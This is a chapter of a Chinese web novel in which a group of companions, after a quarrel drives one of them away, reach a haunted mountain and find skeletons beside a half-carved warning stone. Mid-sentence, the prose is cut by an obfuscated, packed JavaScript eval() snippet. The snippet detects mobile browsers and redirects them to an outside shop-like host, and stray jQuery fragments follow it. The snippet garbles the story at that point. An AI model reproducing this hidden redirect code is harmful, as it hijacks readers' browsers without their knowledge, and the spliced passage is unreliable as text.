“殷临又走了?”
正在煮菜的马超超见白姣一个人抱着柴火走了回来,头发乱糟糟的,脸色看起来有点差。
“嗯。”白姣面无表情地应了一声,把柴垒在一边。
马超超叹息一声,说:“还以为他终于愿意和我们待一块了,结果这么快就走了啊,还真是个奇怪的家伙。”
苏隽捧着脸瞅白姣的神色,侧过身子在马超超耳边说:“我看他俩是吵架了。”
马超超肃然起敬,殷临在白姣面前向来一副逆来顺受的冷淡模样,白姣也不是什么无理取闹的人,这也能吵起来?应该不会吧。
可白姣看起来确实不大对劲,太安静了,浑身散发着不想说话的气场,可她平时其实很健谈来着。不等他想明白白姣这是怎么了,他发现身边的苏隽笑得异常开心。
不是,这人乐什么啊?他有些怀疑是不是这家伙从中作梗了,众所周知这人一向和殷临不太对付。
顶着马超超审视的目光,苏隽收敛了笑容,正色说:“干嘛?他俩闹掰和我没半毛钱关系,我可是一直跟在你们身后,连碰都没碰白姣姣一下啊,不要这样看着我!”
“哦,最好是这样。”
“什么最好是这样!你给我道歉!我根本什么都没做!”
“你这么急干什么,我还什么都没说呢。”
“可你的眼神一直在刺痛我!”
“好好好,我道歉,对不起行了吧,快坐下别挡我光。”
苏隽这才愤愤不平地坐了下来,看马超超煮了一会儿菜汤,吃了半个月的野菜他整个人都快变成菜精了,现在已经是看到这锅绿油油的东西就没胃口的程度。
他神不知鬼不觉地挪到了静坐一旁的白姣身边,嗓音里夹带着一点窃喜,说:“想哭的话我可以给你当靠山。”
“我看你是想哭了。”白姣折断一根拇指粗的木棍。
苏隽老实坐回马超超身边,含泪喝了一大碗苦苦的菜汤。
众人简单吃了点东西后,马超超开始磨刀具,苏隽去灌水。盛凌人清点好他们的随身物品后,看了眼不太在状态的白姣。
她走到白姣身边,感慨地说:“等会儿就进山了,我们终于要迈出这一步了。”
“是啊。”白姣抬头看天,又说:“抱歉,其实是我把殷临气走的,如果他在的话或许更好……我太冲动了。”
盛凌人摇了摇头,说:“没必要道歉,他本来就是为你才留下来的,像他那样神秘莫测的高手,随心所欲地离开也正常。谁让我们没有让他留下的能力呢?这种事也不能只靠你一个人。”
“可是,我那时对他说了很过分的话,摆出了很丑恶的嘴脸,本来……我是因为不想看到他伤心痛苦的模样才这样激他的,可是我还是让他难受得不行,我也不知道自己到底是不是在帮他了。”
“……当局者迷,是对是错就让时间来证明吧。我们现在还有更重要的事,打起精神,现在不是松懈的时候。”
一句话便让她纷乱的心绪有了落脚点。
是啊,现在纠结于对错已经没意义了,那个人已经走了,重要的是先把眼前的事做好。
白姣看向盛凌人,微微一笑道:“我感觉好多了,我们走吧。”
盛凌人看着她的目光中满是肯定,忍不住伸手为她理了理凌乱的额发,白姣这才意识到自己此刻有多狼狈,殷临走时掀起的狂风把她吹成了个疯婆子,一路走来光愧疚了,还没来得及弄头发呢。
可恶啊,难怪苏隽那家伙笑得那么开心,又让他看笑话了。
她老脸一红连忙重新扎了个辫子,苏隽又凑到他身边,说:“我来帮你吧?”
“不要。”
“哼,好心当了驴肝肺。”他拢紧了外套走开。
白姣扎好辫子,看着他的背影,不知为何突然觉得有点对不起他,或许该找个时间稍微和他道个歉,之前她因为他的工作性质对他这个人有一点偏见,好吧……现在还是有偏见,但她不该因为这个讨厌他的,这样太狂妄也太伤人了。
啊,这么一想,她还真是个习惯先入为主的人啊。下意识判断凌人和马超超值得信任,下意识觉得苏隽不值得结交,可是扪心而问,苏隽其实也没那么坏。
真正坏的人是她……她轻易地伤害了一个纯善的人,断送了一份真挚的感情。以后应该再也见不到殷临了,她只能将错就错,埋着头向前冲。
如果可以的话,她只希望在离开的最后一刻能跟殷临道歉。
不久,众人沿着一条小路走到后山脚下,山中肉眼可见的昏暗,离得近更觉这山像只蛰伏的庞然大物,仿佛在张牙舞爪地等着他们来送死,一股沉重的气息弥漫在众人心头。
一条细细的羊肠小道深入山间,周边都是茂盛的野草,但越接近后山,这草的颜色越枯黄,好像生机都被这座山吞噬了一般。
马超超拿着长棍在前探路,突然看见一个石碑立在路边,那下面还有两副雪白的骷髅,一个靠在石碑上,一个倒在一旁,身上都披着道袍。
看来他们就是那些试图来渡化秦翠的人了,只可惜他们都没能成功,以至于在这变成了一堆白骨。
苏隽大惊失色,下意识地揪住马超超的卫衣,差点吃了他一个肘击,最后他还是凑到了白姣身边,瑟瑟发抖地说:“有死人啊!都不知道死了多久了,怎么死得这么惨啊……我们,我们要不别去了吧,你们看看这俩人!这太不吉利了!”
“不去我们就永远也离不开这里,你想饿死在这个地方吗?”盛凌人厉声说。
马超超:“就是,你少在这乌鸦嘴了,想临阵脱逃?门儿都没有,快点过来!就不能像个男人一样吗,一天到晚躲白姣身后。”
“我就是怕嘛!你又不保护我!”
“我为什么要保护你,你还是不是男人?”
“马超超,你就会欺负我!”
“你有病吧苏隽!”
“好了好了别吵了!”“住嘴马超超。”
白姣和盛凌人同时发声。
马超超一听见盛凌人的命令就立马给嘴拉上拉链,一副乖乖大狗的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920064|212679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
模样。
苏隽感激涕零地看着白姣,“白姣姣,还是你对我好,呜呜呜!”
“……我只是觉得你们太吵了。”白姣不多解释只是疾步远离他,走近那块石碑,“诶?这上面写着一些字啊,快来看看。”
盛凌人走上前,这玩意儿与其说是石碑,不如说只是一块大一点的被人立起来的石头,上面有几行被人刻下的字,歪歪扭扭的,看得出刻下这些字的人当时很急。靠在石头下的白骨手上就有一把小刀,估计就是这位道友留下的信息了。
盛凌人缓缓读道:“不回头,不听叫,不……没了,看来是没来得及写完。”
这是什么暗号吗?还是警告?二人开始思考。
苏隽大喊:“这是进山守则啊!”
白姣看向他:“什么是进山守则?”
“哎,你笨,以前的人进山可是很危险的,山里最怕碰见的不是野兽,而是会从背后喊你名字的东西啊!”
“除了人,还有什么会喊人名字?”
“当然是会模仿人的魑魅。”苏隽说到这脸色有些青白,连粉底和腮红都提不起他此刻的气色,见状所有人都不自觉屏息听他讲了个故事。
传说中的魑魅都是潜伏在山林中的鬼,魑的体型庞大却善于伪装,一旦入了它的陷阱便会被杀掉。魅会幻术,常常化作美女或熟悉的人喊过路人的名字,只要应了就会被剥皮吃尽。
苏隽听一些老人讲过关于魑魅的故事,说很久以前有个人进山打柴后就再也没回来,好几天后被人找到了他的一只破鞋,还有一些人体碎片,惨烈得像是被某种东西活生生嚼碎后喷出的残渣。
听完这个故事的当晚苏隽就做了噩梦,吓醒后就一直在哭,好在妈妈在他身边,她紧紧抱住苏隽给他唱儿歌,他哭到累才重新睡着。
现在还能想起讲这故事的那群老人脸上的表情,全都是皱巴巴的,枯黄得像干树皮的脸,睁不开的眯缝眼,尖锐的破锣嗓,讲到可怕之处他们全都带着微妙的笑,直勾勾地盯着苏隽,好像都在等着看他的反应。
大人的恶趣味,在于品尝孩子的无助。
而苏隽那时也遂了他们的心愿,吓得小脸惨白跑了,身后是老人们低沉沙哑的笑音,森森的像林间呼啸的风。
一如此刻。
苏隽越看眼前那座山,心头的恐惧就越多,虽然马超超说了不允许他打退堂鼓,拖也要把他拖进去,但他现在完全腿软了,可能真的要靠他背进去。
白姣听完没什么反应,只说:“那我们进山后全部禁言,谁都不能说一句话,要沟通就靠手势,这样就万无一失了吧?”
苏隽绝望地嘶喊:“喂!你到底有没有听明白,这山里可能有吃人的鬼啊!万一它们不讲武德直接把我们吞了呢?”
“应该不会,因为这两位仁兄显然就进过山,不仅留了全尸还有时间给我们刻下提示呢。”马超超蹲着看那两具骷髅,继续说:“而且我们在这地方待这么久了,很多鬼啊怪啊要杀人貌似都有点条件,那就是——我们触犯了他们的禁忌。”